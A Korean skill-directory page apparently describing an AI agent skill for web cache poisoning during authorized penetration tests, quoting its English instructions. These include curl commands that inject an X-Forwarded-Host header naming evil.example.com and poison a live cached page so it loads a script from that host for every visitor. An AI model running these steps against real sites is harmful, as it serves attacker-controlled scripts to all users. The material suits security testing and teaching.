본문으로 건너뛰기
Skillpedia
에이전트35k · #8335

performing-web-cache-poisoning-attack

하는 일

이 도구는 웹사이트의 ‘기억’(캐시)이 어떻게 작동하는지 테스트하도록 돕습니다. 허가된 보안 테스트 중에 이 기억을 조작해, 웹사이트가 일시적으로 다른 사용자에게 악성 콘텐츠를 보여 주도록 만들 수 있습니다.

사용하는 경우

  • ✓Cloudflare나 Varnish 같은 캐싱 시스템을 사용하는 웹사이트에 대한 허가된 보안 테스트 중.
  • ✓웹사이트가 모든 사람에게 잘못된 정보를 보여 주도록 속일 수 있는지 확인할 때.
  • ✓웹사이트에 보낸 추가 정보가 웹사이트 ‘기억’에 저장되는 내용에 영향을 주는지 평가하는 경우.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-poisoning-attack/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-web-cache-poisoning-attack/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“웹사이트가 정상 링크 대신 악성 링크를 보여 주도록 속일 수 있는지 테스트해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

도구는 웹사이트에 특별한 요청을 보냅니다. 웹사이트의 ‘기억’에 저장되지 않아야 할 추가 정보(헤더)가 포함되는지 확인합니다. 그렇다면 웹사이트가 악성 사이트 링크를 저장하게 만들 수 있습니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Performing Web Cache Poisoning Attack

When to Use

  • During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)
  • When assessing web applications for cache-based vulnerabilities that could affect all users
  • For testing whether unkeyed HTTP headers are reflected in cached responses
  • When evaluating cache key behavior and cache deception vulnerabilities
  • During security assessments of applications with aggressive caching policies

Prerequisites

  • Authorization: Written penetration testing agreement explicitly covering cache poisoning testing
  • Burp Suite Professional: With Param Miner extension for automated unkeyed header discovery
  • curl: For manual cache testing with precise header control
  • Target knowledge: Understanding of the caching layer (CDN provider, cache headers)
  • Cache buster: Unique query parameter to isolate test requests from other users
  • Caution: Cache poisoning affects all users; test with cache-busting parameters first

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Identify the Caching Layer and Behavior

Determine what caching infrastructure is in use and how the cache key is constructed.

# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
  "(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"

# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)

# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string

# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active

# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache key

Step 2: Discover Unkeyed Inputs with Param Miner

Use Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.

# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output

# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"

# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?$CB" | grep "evil.example.com"

# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
  "https://target.example.com/?$CB" | grep "nothttps"

# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
  "https://target.example.com/?$CB"

# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
  "https://target.example.com/?$CB" | grep "http://"

Step 3: Exploit Unkeyed Header for Cache Poisoning

Craft requests that poison cached responses with malicious content.

# Scenario: X-Forwarded-Host reflected in resource URLs
# Normal response includes: <script src="https://target.example.com/app.js">
# Poisoned: <script src="https://evil.example.com/app.js">

# Step 1: Confirm reflection with cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?cb=unique123" | \
  grep "evil.example.com"

# Step 2: Poison the actual cached page (WITHOUT cache buster)
# WARNING: This affects all users - only do with explicit authorization
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/"

# Step 3: Verify cache is poisoned
curl -s "https://target.example.com/" | grep "evil.example.com"

…
자주 묻는 질문

웹사이트 ‘캐시’란 무엇인가요?

웹사이트의 ‘빠른 기억’과 같습니다. 페이지의 사본을 저장해 다시 방문할 때 더 빨리 로딩되도록 합니다. 이 도구는 이 기억이 속을 수 있는지 테스트합니다.

‘키 없는 헤더(unkeyed headers)’란 무엇인가요?

요청과 함께 보내는 추가 정보입니다. 보통 캐시는 저장할 사본을 정할 때 주소만 고려합니다. 키 없는 헤더는 캐시가 고려하지 않는 추가 정보이지만, 웹사이트는 이를 사용해 응답을 바꿀 수 있습니다.

이것이 내 웹사이트를 해칠 수 있나요?

네, 허가 없이 또는 인지하지 않고 사용하면 그럴 수 있습니다. ‘캐시 오염’은 모든 방문자에게 악성 콘텐츠를 보이게 할 수 있습니다. 따라서 명시적인 허가를 받고, 테스트용 매개변수를 사용해 영향을 격리하는 것이 중요합니다.

상세 정보

작성자의 원본 설명

Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#8335
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬